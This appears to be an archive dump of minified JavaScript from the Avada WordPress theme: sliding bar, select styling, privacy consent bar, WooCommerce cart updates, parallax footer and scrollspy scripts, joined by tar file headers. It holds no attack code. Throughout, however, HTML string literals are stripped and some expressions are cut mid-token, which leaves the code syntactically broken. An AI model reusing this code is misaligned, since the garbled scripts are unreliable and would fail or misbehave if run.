calcSelectArrowDimensions&&calcSelectArrowDimensions(),jQuery(window).trigger("resize")}),350))}jQuery(document).ready((function(){jQuery(".fusion-sliding-bar-area.open-on-load").length&&(slidingBarHandling(),jQuery(".fusion-sliding-bar-area").removeClass("open-on-load")),jQuery(document).on("keydown",(function(i){27===i.keyCode&&jQuery("body").hasClass("fusion-sliding-bar-active")&&!jQuery("body").hasClass("modal-open")&&slidingBarHandling()})),"menu"!==jQuery(".fusion-sliding-bar-area").data("toggle")&&(Modernizr.mq("only screen and (max-width: "+jQuery(".fusion-sliding-bar-area").data("breakpoint")+"px)")?(jQuery(".fusion-sliding-bar-area").removeClass("fusion-sliding-bar-toggle-"+jQuery(".fusion-sliding-bar-area").data("toggle")),jQuery(".fusion-sliding-bar-area").addClass("fusion-sliding-bar-toggle-triangle")):(jQuery(".fusion-sliding-bar-area").removeClass("fusion-sliding-bar-toggle-triangle"),jQuery(".fusion-sliding-bar-area").addClass("fusion-sliding-bar-toggle-"+jQuery(".fusion-sliding-bar-area").data("toggle"))),jQuery(window).on("fusion-resize-horizontal",(function(){Modernizr.mq("only screen and (max-width: "+jQuery(".fusion-sliding-bar-area").data("breakpoint")+"px)")?(jQuery(".fusion-sliding-bar-area").removeClass("fusion-sliding-bar-toggle-"+jQuery(".fusion-sliding-bar-area").data("toggle")),jQuery(".fusion-sliding-bar-area").addClass("fusion-sliding-bar-toggle-triangle")):(jQuery(".fusion-sliding-bar-area").removeClass("fusion-sliding-bar-toggle-triangle"),jQuery(".fusion-sliding-bar-area").addClass("fusion-sliding-bar-toggle-"+jQuery(".fusion-sliding-bar-area").data("toggle")))})))})),jQuery(window).on("load",(function(){jQuery(document.body).on("click",".fusion-sb-toggle, .awb-icon-sliding-bar, .fusion-sb-close, .avada-sliding-toggle, .awb-menu__sliding-toggle",(function(i){i.preventDefault(),slidingBarHandling()}))}));Avada/assets/min/js/general/avada-drop-down.js000064400000013716152342437710015237 0ustar00function addAvadaSelectStyles(){Number(avadaSelectVars.avada_drop_down)&&(jQuery(".tribe-tickets-order_status-row select").length&&(jQuery(".tribe-tickets-order_status-row select").addClass("avada-select"),jQuery(".tribe-tickets-order_status-row select").wrap('
    ').after('
    '),jQuery(".tribe-ticket-quantity").on("change",(function(){setTimeout((function(){calcSelectArrowDimensions()}),1)}))),jQuery(".tribe-block__tickets__item__attendee__fields__form select").length&&jQuery(".tribe-block__tickets__item__attendee__fields__form select").wrap('
    ').after('
    '),jQuery(".woocommerce-billing-fields, .woocommerce-shipping-fields").addClass("avada-select"),jQuery(".woocommerce.widget_product_categories select").length&&jQuery(".woocommerce.widget_product_categories select").wrap('

    ').after('
    '),jQuery(".cart-collaterals select#calc_shipping_country, .widget_layered_nav select").wrap('

    ').after('
    '),jQuery(".cart-collaterals select#calc_shipping_state").after('
    '),setTimeout((function(){jQuery("#billing_country_field .chosen-container").length||jQuery("#billing_country_field .select2-container").length||(jQuery("#billing_country_field select.country_select").wrap('

    ').after(''),!jQuery("#billing_state_field select.state_select").length||jQuery("#billing_state_field .chosen-container").length||jQuery("#billing_state_field .select2-container").length||jQuery("#billing_state_field").addClass("avada-select-parent").append('
    '),jQuery("#billing_country").on("change",(function(){setTimeout((function(){(jQuery("#billing_state_field input#billing_state").length||jQuery("#billing_state_field").is(":hidden"))&&(jQuery("#billing_state_field .select-arrow").remove(),jQuery("#billing_state_field").removeClass("avada-select-parent")),jQuery("#billing_state_field select.state_select").length&&(jQuery("#billing_state_field").addClass("avada-select-parent"),jQuery("#billing_state_field .select-arrow").length||(jQuery("#billing_state_field").append('
    '),calcSelectArrowDimensions()))}),1)}))),jQuery("#shipping_country_field .chosen-container").length||jQuery("#shipping_country_field .select2-container").length||(jQuery("#shipping_country_field select.country_select").wrap('

    ').after(''),jQuery("#shipping_state_field select.state_select").length&&jQuery("#shipping_state_field").addClass("avada-select-parent").append('
    '),jQuery("#shipping_country").on("change",(function(){setTimeout((function(){(jQuery("#shipping_state_field input#shipping_state").length||jQuery("#shipping_state_field").is(":hidden"))&&(jQuery("#shipping_state_field .select-arrow").remove(),jQuery("#shipping_state_field").removeClass("avada-select-parent")),jQuery("#shipping_state_field select.state_select").length&&(jQuery("#shipping_state_field").addClass("avada-select-parent"),jQuery("#shipping_state_field .select-arrow").length||(jQuery("#shipping_state_field").append('
    '),calcSelectArrowDimensions()))}),1)})))}),1),jQuery("#calc_shipping_country").on("change",(function(){setTimeout((function(){jQuery(".avada-shipping-calculator-form select#calc_shipping_state").length&&!jQuery(".avada-shipping-calculator-form #calc_shipping_state").parent().find(".select-arrow").length&&jQuery(".avada-shipping-calculator-form select#calc_shipping_state").after('
    '),(jQuery(".avada-shipping-calculator-form input#calc_shipping_state").length||jQuery(".avada-shipping-calculator-form #calc_shipping_state_field .select2").length)&&jQuery(".avada-shipping-calculator-form #calc_shipping_state").parent().children(".select-arrow").remove(),calcSelectArrowDimensions()}),1)})),jQuery("table.variations select, .variations-table select, .product-addon select").filter(":not(.yith_wccl_custom)").wrap('
    '),jQuery('
    ').appendTo("table.variations .avada-select-parent, .variations-table .avada-select-parent, .product-addon .avada-select-parent"),jQuery(".wpcf7-select:not([multiple])").wrap('
    '),jQuery('
    ').appendTo(".wpcf7-select-parent"),jQuery("#bbp_stick_topic_select, #bbp_topic_status_select, #bbp_forum_id, #bbp_destination_topic, #wpfc_sermon_sorting select").wrap('
    ').after('
    '),jQuery(".variations_form select").on("change",(function(){jQuery(".product #slider").length&&1'),a.parent().append(n))})),jQuery(".fusion-privacy-consent").on("click",(function(e){var a=jQuery(this).attr("data-privacy-type"),i=fusionGetCookieValue(),n="vimeo"===a,r="youtube"===a,t=!1;-1===jQuery.inArray(a,i)&&fusionSaveCookieValues(a,!0),e.preventDefault(),fusionReplacePlaceholders(a),jQuery(".fusion-privacy-element #"+a+", #bar-"+a).prop("checked",!0),fusionVideoApiInit(n,r,t=fusionSliderVideoInit(n,r,t)),jQuery('.fusion-privacy-placeholder[data-privacy-type="'+a+'"]').remove()})),-1===jQuery.inArray("consent",e)&&jQuery(".fusion-privacy-bar").css({display:"block"}),jQuery(".fusion-privacy-bar-learn-more").on("click",(function(e){var a=jQuery(this).parents(".fusion-privacy-bar");e.preventDefault(),a.find(".fusion-privacy-bar-full").slideToggle(300),a.toggleClass("fusion-privacy-bar-open"),jQuery(this).find(".awb-icon-angle-up").length?jQuery(this).find(".awb-icon-angle-up").removeClass("awb-icon-angle-up").addClass("awb-icon-angle-down"):jQuery(this).find(".awb-icon-angle-down").length&&jQuery(this).find(".awb-icon-angle-down").removeClass("awb-icon-angle-down").addClass("awb-icon-angle-up")})),jQuery(".fusion-privacy-bar-acceptance").on("click",(function(e){var a=jQuery(this).parents(".fusion-privacy-bar"),n=a.find('input[type="checkbox"]'),r=["consent"],t=!1,o=!1,u=!1,s="undefined"!=typeof avadaPrivacyVars&&1==avadaPrivacyVars.button,c="undefined"!=typeof avadaPrivacyVars?avadaPrivacyVars.defaults:[];e.preventDefault(),a.find(".fusion-privacy-bar-full").is(":visible")||i.hasClass("fusion-privacy-update")||s?(jQuery('.fusion-privacy-element input[type="checkbox"]').prop("checked",!1),n.length?jQuery(n).each((function(){var e=jQuery(this).val();jQuery(this).is(":checked")&&-1!==jQuery(this).attr("name").indexOf("consents")&&(fusionReplacePlaceholders(e),jQuery(".fusion-privacy-element #"+e).prop("checked",!0),jQuery('.fusion-privacy-placeholder[data-privacy-type="'+e+'"]').remove(),r.push(e),"youtube"===e&&(t=!0),"vimeo"===e&&(o=!0))})):s&&c.length&&jQuery.each(c,(function(e,a){fusionReplacePlaceholders(a),jQuery(".fusion-privacy-element #"+a).prop("checked",!0),jQuery('.fusion-privacy-placeholder[data-privacy-type="'+a+'"]').remove(),r.push(a),"youtube"===a&&(t=!0),"vimeo"===a&&(o=!0)})),fusionSaveCookieValues(r,!1)):fusionSaveCookieValues("consent",!0),u=fusionSliderVideoInit(o,t,u),fusionVideoApiInit(o,t,u),a.hide()})),jQuery(".fusion-privacy-bar-reject").on("click",(function(e){e.preventDefault(),fusionSaveCookieValues("consent",!0),jQuery(this).parents(".fusion-privacy-bar").hide(),location.reload()})),jQuery('.fusion-privacy-bar-full .fusion-privacy-choices input[type="checkbox"]').on("change",(function(e){var t=jQuery(this).val();-1===jQuery.inArray(t,a)?a.push(t):a.splice(a.indexOf(t),1),0!==a.length?(i.text(n),i.addClass("fusion-privacy-update")):(i.text(r),i.removeClass("fusion-privacy-update"))}))}jQuery(document).ready((function(){fusionPrivacyBar()}));Avada/assets/min/js/general/avada-woo-products.js000064400000006761152342437710015775 0ustar00jQuery(window).on("load",(function(){jQuery(".product-images").each((function(){!jQuery(this).find("img").length&&jQuery(this).find(".onsale").length&&jQuery(this).css("min-height","45px")}))})),jQuery(document).ready((function(){var t,e,a,r;for(jQuery("body").on("click",".add_to_cart_button.ajax_add_to_cart:not(.disabled), .add_to_cart_button.ajax_variation_add_to_cart:not(.disabled)",(function(){var t=jQuery(this).closest(".product, li, .swiper-slide"),e=t.find(".cart-loading"),a=!!t.hasClass("post-card")&&t.find(".fusion-image-wrapper");a&&a.addClass("hover"),e.find("i").removeClass("awb-icon-shopping-cart").addClass("awb-icon-spinner"),e.fadeIn(),setTimeout((function(){e.find("i").hide().removeClass("awb-icon-spinner").addClass("awb-icon-shopping-cart").fadeIn(),e.closest(".fusion-clean-product-image-wrapper, li").addClass("fusion-item-in-cart"),a&&a.removeClass("hover")}),2e3)})).on("click",".add_to_cart_button.ajax_variation_add_to_cart:not(.disabled)",(function(t){var e=jQuery(this),a=e.closest("form.cart"),r=a.find('input:not([name="product_id"]), select, button, textarea').serializeArray()||0,i=-1!==a.attr("action").indexOf("?")?a.attr("action")+"&wc-ajax=get_refreshed_fragments":a.attr("action")+"?wc-ajax=get_refreshed_fragments";t.preventDefault(),e.hasClass("disabled_ajax_add_to_cart")?a.trigger("submit"):(jQuery(document.body).trigger("adding_to_cart",[e,r]),jQuery.ajax({type:"POST",url:i,data:r,success:function(t){t.error&&t.product_url?window.location=t.product_url:jQuery(document.body).trigger("added_to_cart",[t.fragments,t.cart_hash,e])}}))})),jQuery("body").on("should_send_ajax_request.adding_to_cart",(function(t,e){return!jQuery(e).hasClass("disabled")})),jQuery("body").on("mouseenter mouseleave",".products .product, .fusion-woo-slider .swiper-slide, .post-card.product",(function(t){var e=jQuery(this).find(".cart-loading");e.find("i").hasClass("awb-icon-shopping-cart")&&("mouseenter"===t.type?e.fadeIn():e.fadeOut())})),t=avadaWooCommerceVars.title_style_type.split(" "),e="","",a="title-heading-left",r=0;r h2").each((function(){jQuery(this).replaceWith((function(){return'
    '+jQuery(this).html()+"
    '}))})),jQuery(".woocommerce.single-product .upsells.products > h2").each((function(){jQuery(this).replaceWith((function(){return'

    '+jQuery(this).html()+'

    '}))})),jQuery(".products-6 li, .products-5 li, .products-4 li, .products-3 li, .products-2 li").removeClass("last"),jQuery(document).on("change",".fusion-post-card-cart .qty",(function(t){void 0!==this.value&&jQuery(t.target).closest(".fusion-post-card-cart").find(".ajax_add_to_cart").attr("data-quantity",this.value)}))})),jQuery(window).on("wcpf_after_ajax_filtering",(function(){var t=new URLSearchParams(window.location.search);jQuery(".catalog-ordering").find("a").each((function(){var e,a=jQuery(this).attr("href");if(void 0!==a){for(e of t.entries())-1===a.indexOf(e[0])&&(a+="&"+e[0]+"="+e[1]);jQuery(this).attr("href",a)}}))}));Avada/assets/min/js/general/avada-woocommerce.js000064400000035125152342437710015643 0ustar00function fusionCalcWoocommerceTabsLayout(e){jQuery(e).each((function(){var e=jQuery(this).parent().width(),t=jQuery(this).find("li").length,o=(e-e%t)/t,r=e-o*(t-1);jQuery(this).css("width",e+"px"),jQuery(this).find("li").css("width",o+"px"),jQuery(this).find("li:last").css("width",r+"px").addClass("no-border-right")}))}function reinitAftarAjax(){jQuery('.fusion-update-cart, a[href="#updateCart"]').off("click"),jQuery('.fusion-update-cart, a[href="#updateCart"]').on("click",(function(e){return e.preventDefault(),jQuery(".cart .actions > .button").trigger("click"),!1})),setTimeout((function(){jQuery(".crossfade-images").each((function(){fusionResizeCrossfadeImagesContainer(jQuery(this))}))}),1e3)}jQuery(window).on("load",(function(){jQuery(".woocommerce-store-notice__dismiss-link").on("click",(function(){var e=fusion.getAdminbarHeight();jQuery("#wrapper").css("margin-top",""),jQuery(".fusion-header").css("top",e)})),jQuery(".variations_form").find(".variations .single_variation_wrap .woocommerce-variation-description").remove(),"function"==typeof jQuery.fn.equalHeights&&0 li").length&&jQuery(".double-sidebars.woocommerce .social-share > li").equalHeights(),jQuery(".adsw-attribute-option").length&&jQuery("body").on("show_variation",".variations_form",(function(){jQuery(".product-type-variable .variations_form > .single_variation_wrap .woocommerce-variation-price").css("display","inline-block"),jQuery(".product-type-variable .variations_form > .single_variation_wrap .woocommerce-variation-price .price").css("margin-top","0"),jQuery(".product-type-variable .variations_form > .single_variation_wrap .woocommerce-variation-availability").css("display","inline-block")}))})),jQuery(document).ready((function(){var e;jQuery(window).on("updated_cart_totals updated_wc_div",(function(){const e=jQuery(".awb-dynamic-free-shipping-min-amount"),t=jQuery(".awb-dynamic-free-shipping-min-amount-progress");(t.length||t.length)&&jQuery.ajax({type:"POST",url:avadaWooCommerceVars.ajaxurl,data:{action:"live_update_cart_free_shipping_amount",security:avadaWooCommerceVars.cart_nonce},success:function(o){o.success&&(e.length&&e.each((function(){"missing"===jQuery(this).data("type")?jQuery(this).replaceWith(o.data.free_shipping_missing):jQuery(this).html(o.data.free_shipping_percentage)})),t.length&&t.each((function(){jQuery(this).find(".progress").attr("aria-valuenow",o.data.free_shipping_percentage);const e=jQuery(this).find(".fusion-progressbar-value");if(e.length){const t=jQuery(this).data("value-type");let r="";r="min-amount-percentage"===t?e.text().includes("%")?o.data.free_shipping_percentage+"%":o.data.free_shipping_percentage:"sub-totals-discounts"===t?o.data.sub_totals_discounts:o.data.sub_totals,e.html(r)}jQuery(window).trigger("fusion-dynamic-content-render",jQuery(this).parent())})))}})})),jQuery("body").on("change",".woocommerce-cart-form .qty",(function(e){const t=jQuery(this),o=t.closest("tr"),r=o.length?o.index():0,a=parseInt(t.val()),i=t.attr("name").replace("cart[","").replace("][qty]",""),n=t.closest(".cart_item").find(".product-subtotal"),c=jQuery(".fusion-dynamic-cart-count-wrapper"),s=jQuery(".fusion-widget-cart-number"),u=jQuery(".fusion-menu-cart-items"),d=jQuery(".awb-woo-mini-cart"),l=jQuery(".fusion-dynamic-cart-total-wrapper"),m=jQuery(".awb-dynamic-free-shipping-min-amount"),h=jQuery(".awb-dynamic-free-shipping-min-amount-progress"),y=jQuery(".woocommerce-cart-form .shop_table").prev("h2");jQuery(".post-content").find(".fusion-woo-cart-totals-wrapper table, .fusion-button, .cart_totals table").addClass("awb-disabled"),jQuery.ajax({type:"POST",url:avadaWooCommerceVars.ajaxurl,data:{action:"live_update_cart",cart_item_key:i,quantity:a,security:avadaWooCommerceVars.cart_nonce},success:function(e){if(e.success){const t=parseInt(e.data.cart_items);if(c.length){let e=1===t?c.data("singular"):c.data("plural");c.contents().filter((function(){return 3===this.nodeType})).first().replaceWith(e),c.children(".fusion-dynamic-cart-count").text(t)}if(s.length&&s.html(t),u.length){const e=u.find('.fusion-menu-cart-item[data-cart-item-key="'+i+'"]');e.length&&e.find(".fusion-menu-cart-item-quantity .awb-quantity").html(a)}if(d.length){let t=d.find(".woocommerce-mini-cart li").eq(r);t.length&&t.find(".quantity").contents().filter((function(){return 3===this.nodeType})).first().each((function(){let e=this.nodeValue.match(/^(\d+)(\D*)/);e&&(this.nodeValue=a+e[2])})),d.find(".woocommerce-mini-cart__total").find(".woocommerce-Price-amount").html(jQuery(e.data.fragments[".cart_totals"]).find(".woocommerce-Price-amount").html())}l.length&&(l.children(".fusion-dynamic-cart-sub-totals").length&&l.children(".fusion-dynamic-cart-sub-totals").html(e.data.sub_totals),l.children(".fusion-dynamic-cart-sub-totals-discounts").length&&l.children(".fusion-dynamic-cart-sub-totals-discounts").html(e.data.sub_totals_discounts),l.children(".fusion-dynamic-cart-totals").length&&l.children(".fusion-dynamic-cart-totals").html(e.data.totals),l.children(".fusion-dynamic-cart-totals-tax").length&&l.children(".fusion-dynamic-cart-totals-tax").html(e.data.totals_tax)),m.length&&m.each((function(){"missing"===jQuery(this).data("type")?jQuery(this).replaceWith(e.data.free_shipping_missing):jQuery(this).html(e.data.free_shipping_percentage)})),h.length&&h.each((function(){jQuery(this).find(".progress").attr("aria-valuenow",e.data.free_shipping_percentage);const t=jQuery(this).find(".fusion-progressbar-value");if(t.length){const o=jQuery(this).data("value-type");let r="";r="min-amount-percentage"===o?t.text().includes("%")?e.data.free_shipping_percentage+"%":e.data.free_shipping_percentage:"sub-totals-discounts"===o?e.data.sub_totals_discounts:e.data.sub_totals,t.html(r)}jQuery(window).trigger("fusion-dynamic-content-render",jQuery(this).parent())})),y.length&&y.html(y.html().replace(/\d+/,t)),n.html(e.data.item_sub_totals),jQuery(".cart_totals").html(jQuery(e.data.fragments[".cart_totals"]).html())}jQuery(document.body).trigger("updated_cart_totals")},complete:function(){jQuery(".post-content").find(".fusion-woo-cart-totals-wrapper table, .fusion-button, .cart_totals table").removeClass("awb-disabled")}})}));let t=!1;jQuery(document).on("click",".woocommerce-cart-form .product-remove > a",(function(e){t=!0})),jQuery(document).on("click",".woocommerce-cart .restore-item",(function(e){t=!0})),jQuery(window).on("updated_wc_div",(function(){if(t){const e=jQuery(".fusion-dynamic-cart-count-wrapper"),o=jQuery(".fusion-widget-cart-number");let r=0;if(jQuery(".woocommerce-cart-form").first().find(".cart_item input.qty").each((function(){let e=parseInt(jQuery(this).val(),10);isNaN(e)||(r+=e)})),e.length){let t=1===r?e.data("singular"):e.data("plural");e.contents().filter((function(){return 3===this.nodeType})).first().replaceWith(t),e.children(".fusion-dynamic-cart-count").text(r)}o.length&&o.html(r),t=!1}})),jQuery('.fusion-update-cart, a[href="#updateCart"]').on("click",(function(e){return e.preventDefault(),jQuery(".cart .actions > .button").trigger("click"),!1})),jQuery(".fusion-apply-coupon").on("click",(function(e){e.preventDefault(),jQuery(".cart .actions .coupon #coupon_code").val(jQuery("#avada_coupon_code").val()),jQuery(".cart .actions .coupon .button").trigger("click")})),jQuery(window).on("updated_wc_div",(function(){!jQuery(".fusion-woo-notices-tb").length&&jQuery("#coupon_code").length&&jQuery("#coupon_code").hasClass("has-error")&&jQuery(".woocommerce-notices-wrapper").append('")})),jQuery(".woocommerce-store-notice").length&&jQuery(".woocommerce-store-notice").is(":visible")&&!jQuery(".fusion-top-frame").is(":visible")&&(jQuery("#wrapper").css("margin-top",jQuery(".woocommerce-store-notice").outerHeight()),0'),jQuery(".woocommerce-tabs #comments > h2").each((function(){jQuery(this).replaceWith((function(){return"

    "+jQuery(this).html()+"

    "}))})),"block"===jQuery("body .sidebar").css("display")&&fusionCalcWoocommerceTabsLayout(".woocommerce-tabs .tabs-horizontal"),jQuery(".sidebar .products,.fusion-footer-widget-area .products,#slidingbar-area .products").each((function(){jQuery(this).removeClass("products-4"),jQuery(this).removeClass("products-3"),jQuery(this).removeClass("products-2"),jQuery(this).addClass("products-1")})),jQuery(".subcategory-products").each((function(){jQuery(this).addClass("products-"+avadaWooCommerceVars.woocommerce_shop_page_columns)})),jQuery(".woocommerce-tabs ul.tabs li a").off("click"),jQuery("body").on("click",".woocommerce-tabs > ul.tabs li a",(function(){var e=jQuery(this),t=e.closest(".woocommerce-tabs");return jQuery("ul.tabs li",t).removeClass("active"),jQuery("> div.panel",t).hide(),jQuery("div"+e.attr("href"),t).show(),e.parent().addClass("active"),!1})),jQuery(".continue-checkout").length||jQuery(document).on("checkout_error",(function(){var e=fusion.getAdminbarHeight(),t=jQuery(".fusion-header-wrapper").find("div"),o=0;jQuery("html, body").stop(),t.each((function(){"fixed"===jQuery(this).css("position")&&(o=jQuery(this).height())})),jQuery(".woocommerce-NoticeGroup-checkout").length&&jQuery("html, body").animate({scrollTop:jQuery(".woocommerce-NoticeGroup-checkout").offset().top-e-o-10},500)})),jQuery("body").on("click",".woocommerce-checkout-nav a,.continue-checkout",(function(e){var t,o,r,a=fusion.getAdminbarHeight(),i=jQuery(".fusion-header-wrapper").find("div"),n=0;i.each((function(){"fixed"===jQuery(this).css("position")&&(n=jQuery(this).height())})),e.preventDefault(),jQuery(".avada-woocommerce-error").remove(),0
    '+avadaWooCommerceVars.woocommerce_checkout_error+"
    "),jQuery(document.body).trigger("avada_checkout_error",[avadaWooCommerceVars.woocommerce_checkout_error]),011){for(e=0;e<10;e++)o+=t[e]+" ";jQuery(this).html(o)}})),jQuery(".wc-tabs li").on("click",(function(){var e=jQuery(this).attr("aria-controls");setTimeout((function(){jQuery("#"+e).find(".awb-carousel").length&&"function"==typeof generateSwiperCarousel&&generateSwiperCarousel(),jQuery("#"+e).find(".fusion-gallery").each((function(){jQuery(this).isotope()})),jQuery("#"+e).find(".fusion-blog-shortcode").each((function(){jQuery(this).find(".fusion-blog-layout-grid").isotope()})),jQuery("#"+e).find(".crossfade-images").each((function(){fusionResizeCrossfadeImagesContainer(jQuery(this))})),"function"==typeof jQuery.fn.fusionCalcFlipBoxesHeight&&jQuery("#"+e).find(".flip-box-inner-wrapper").each((function(){jQuery(this).fusionCalcFlipBoxesHeight()})),jQuery("#"+e).find(".fusion-portfolio").each((function(){jQuery(this).find(".fusion-portfolio-wrapper").isotope()})),"function"==typeof jQuery.fn.reinitializeGoogleMap&&jQuery("#"+e).find(".shortcode-map").each((function(){jQuery(this).reinitializeGoogleMap()}))}),150)}))})),jQuery(document).ready((function(){var e=jQuery("#calc_shipping_country").parents(".avada-shipping-calculator-form").find("#calc_shipping_state_field");e.length&&("hidden"===e.find("#calc_shipping_state").attr("type")?e.hide():e.show())})),jQuery(window).on("updated_wc_div",(function(){reinitAftarAjax()})),jQuery(window).on("fusion-dynamic-content-render",(function(e,t){var o=jQuery(t).find(".fusion-woo-slider");0a(window).height()&&("top"===avadaParallaxFooterVars.header_position||"top"!==avadaParallaxFooterVars.header_position&&a(window).height()>a(".side-header-wrapper").height())&&Modernizr.mq("only screen and (min-width:"+parseInt(avadaParallaxFooterVars.side_header_break_point,10)+"px)")&&!Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: portrait)")&&!Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape)")?(s=a("body").hasClass("layout-boxed-mode")?{"margin-left":"auto","margin-right":"auto",padding:"","max-width":"var(--site_width)"}:{margin:"",padding:"","max-width":""},a("body").hasClass("layout-boxed-mode")&&!a("body").hasClass("fusion-top-header")&&(s.bottom=n),t.css(s),d["margin-bottom"]=t.outerHeight()+n,1<=a(".tfs-slider").length&&1==a(".tfs-slider").data("parallax")&&t.hasClass("fusion-footer-parallax")&&(e=a(".tfs-slider").closest("#sliders-container").outerHeight(),o=t.outerHeight(),e>o?d["min-height"]=e+10:o>e&&(d["min-height"]=o+10)),t.addClass("awb-footer-fixed"),i.css(d)):(t.css({margin:"0",padding:"0",bottom:0,"max-width":""}),i.css({"margin-bottom":"","min-height":""}),t.removeClass("awb-footer-fixed"))}),200)}}(jQuery),jQuery(window).on("load",(function(){jQuery(".fusion-footer-parallax").fusion_footer_parallax(),jQuery(window).on("fusion-resize-vertical fusion-parallax-footer-refresh",(function(){jQuery(".fusion-footer-parallax").fusion_footer_parallax()}))}));Avada/assets/min/js/general/avada-bbpress.js000064400000002666152342437710014770 0ustar00jQuery(window).on("load",(function(){jQuery(".bbp-template-notice").each((function(){var a="",s="";jQuery(this).hasClass("info")?(jQuery(this).attr("class","fusion-alert alert notice alert-info"),s="fa-info-circle"):(jQuery(this).attr("class","fusion-alert alert notice alert-warning"),s="fa-cog"),jQuery(this).addClass("fusion-alert-"+avadaBbpressVars.alert_box_text_align),"capitalize"===avadaBbpressVars.alert_box_text_transform&&jQuery(this).addClass("fusion-alert-capitalize"),"no"!==avadaBbpressVars.alert_box_dismissable&&(jQuery(this).addClass("awb-alert_dismissable").addClass("awb-alert-close-"+avadaBbpressVars.alert_box_dismissable),a=''),"yes"===avadaBbpressVars.alert_box_shadow&&jQuery(this).addClass("alert-shadow"),jQuery(this).css("border-width",parseInt(avadaBbpressVars.alert_border_size,10)+"px"),jQuery(this).children("tt").contents().unwrap(),jQuery(this).children("p").contents().unwrap(),a+='
    '+jQuery(this).html()+"",jQuery(this).html(a),jQuery(this).children(".close").on("click",(function(a){a.preventDefault(),jQuery(this).parent().slideUp()}))})),jQuery(".bbp-login-form").each((function(){jQuery(this).children("tt").contents().unwrap()}))}));Avada/assets/min/js/general/avada-woocommerce-single.js000064400000006206152342437710017120 0ustar00jQuery.fn.serializeArrayAll=function(){var e=/\r?\n/g;return this.map((function(){return this.elements?jQuery.makeArray(this.elements):this})).map((function(t,n){var r=jQuery(this).val();return null===r?null===r:"checkbox"===this.type&&!1===this.checked?{name:this.name,value:this.checked?this.value:""}:"radio"!==this.type?jQuery.isArray(r)?jQuery.map(r,(function(t,r){return{name:n.name,value:t.replace(e,"\r\n")}})):{name:n.name,value:r.replace(e,"\r\n")}:this.checked?{name:this.name,value:this.checked?this.value:""}:void 0})).get()},jQuery(document).ready((function(){jQuery(document.body).on("click",".single_add_to_cart_button:not(.disabled)",(function(e){var t=jQuery(this),n=t.closest("form.cart"),r=n.find('input:not([name="product_id"]), select, button, textarea').serializeArrayAll()||0,a=-1!==n.attr("action").indexOf("?")?n.attr("action")+"&wc-ajax=get_refreshed_fragments":n.attr("action")+"?wc-ajax=get_refreshed_fragments";e.preventDefault(),t.find("span").length||t.wrapInner(""),n.find('input[name="product_id"]').length&&t.attr("value",n.find('input[name="product_id"]').val()),jQuery(document.body).trigger("adding_to_cart",[t,r]),jQuery.ajax({type:"POST",url:a,data:r,beforeSend:function(){t.removeClass("added").addClass("loading")},complete:function(){t.addClass("added").removeClass("loading")},success:function(e){e.error&&e.product_url?window.location=e.product_url:(void 0!==e.fragments.awb_woo_notices&&jQuery(e.fragments.awb_woo_notices).hasClass("woocommerce-notices-wrapper")&&jQuery(".woocommerce-notices-wrapper").each((function(t){jQuery(this).replaceWith(jQuery(e.fragments.awb_woo_notices).eq(t))})),jQuery(document.body).trigger("added_to_cart",[e.fragments,e.cart_hash,t]))}})})).on("added_to_cart",(function(e,t,n,r){!function(e){const t=jQuery(".awb-dynamic-free-shipping-min-amount-progress");if(t.length){function n(e){if(!jQuery.isNumeric(e)){const t=e.match(/\d+(?:[.,]\d+)?/);t&&(e=t[0].replace(",","."))}return(e=parseFloat(e))||0}const r=n(e['.awb-dynamic-free-shipping-min-amount[data-type="percentage_reached"]']),a=n(e[".fusion-dynamic-cart-sub-totals-discounts"]),i=n(e[".fusion-dynamic-cart-sub-totals"]);t.each((function(){jQuery(this).find(".progress").attr("aria-valuenow",r);const e=jQuery(this).find(".fusion-progressbar-value");if(e.length){const t=jQuery(this).data("value-type");let n="";n="min-amount-percentage"===t?e.text().includes("%")?r+"%":r:"sub-totals-discounts"===t?a:i,e.html(n)}jQuery(window).trigger("fusion-dynamic-content-render",jQuery(this).parent())}))}}(t);const a=r.closest(".entry-summary").parent();if(a.hasClass("fusion-wqv-content-inner"))return void setTimeout((function(){a.closest(".fusion-woocommerce-quick-view-container").find(".fusion-wqv-close button").trigger("click")}),200);if(!jQuery(".woocommerce-notices-wrapper").length||!r.hasClass("single_add_to_cart_button"))return;const i=fusion.getAdminbarHeight();jQuery(".fusion-header-wrapper").find("div").each((function(){"fixed"===jQuery(this).css("position")&&($stickyHeaderHeight=jQuery(this).height())})),jQuery("html, body").stop(),jQuery("html, body").animate({scrollTop:jQuery(".woocommerce-notices-wrapper").offset().top-i-0-10},500)}))}));Avada/assets/min/js/general/avada-scrollspy.js000064400000001525152342437710015353 0ustar00function fusionGetScrollOffset(){var t,o=fusion.getAdminbarHeight(),e="function"==typeof getStickyHeaderHeight?getStickyHeaderHeight():0,s=parseInt(o+e+1,10);return jQuery(".fusion-tb-header").length&&"function"==typeof fusionGetStickyOffset?(t=fusionGetStickyOffset())?t+1:o:s}jQuery(document).ready((function(){jQuery("body").scrollspy({target:".fusion-menu",offset:fusionGetScrollOffset()}),jQuery(window).on("load fusion-sticky-change fusion-sticky-scroll-change",(function(){"object"==typeof jQuery("body").data()["bs.scrollspy"]&&(jQuery("body").data()["bs.scrollspy"].options.offset=fusionGetScrollOffset())})),jQuery(window).on("fusion-sticky-transition-change",(function(){setTimeout((function(){"object"==typeof jQuery("body").data()["bs.scrollspy"]&&(jQuery("body").data()["bs.scrollspy"].options.offset=fusionGetScrollOffset())}),300)}))}));Avada/assets/min/js/general/avada-select.js000064400000002602152342437710014575 0ustar00function calcSelectArrowDimensions(e){var t=".avada-select-parent .select-arrow, .gravity-select-parent .select-arrow, .wpcf7-select-parent .select-arrow";(void 0!==e?jQuery(e).find(t):jQuery(t)).filter(":visible").each((function(){0e.trim().startsWith("--")).map(e=>e.trim()+";").join("\n")))}))}jQuery(window).on("load fusion-element-render-fusion_tb_woo_cart fusion-element-render-fusion_tb_woo_checkout_tabs fusion-element-render-fusion_tb_woo_checkout_billing fusion-element-render-fusion_tb_woo_checkout_shipping fusion-element-render-fusion_woo_cart_shipping",(function(){calcSelectArrowDimensions(),setTimeout((function(){calcSelectArrowDimensions()}),100),adjustSelect2Dropdowns()})),jQuery(window).on("fusion-dynamic-content-render",(function(e,t){calcSelectArrowDimensions(t)}));Avada/assets/min/js/general/avada-rev-styles.js000064400000005334152342437710015440 0ustar00function avadaAddRevStyles(){Number(avadaRevVars.avada_rev_styles)&&jQuery(".rev_slider_wrapper").each((function(){var 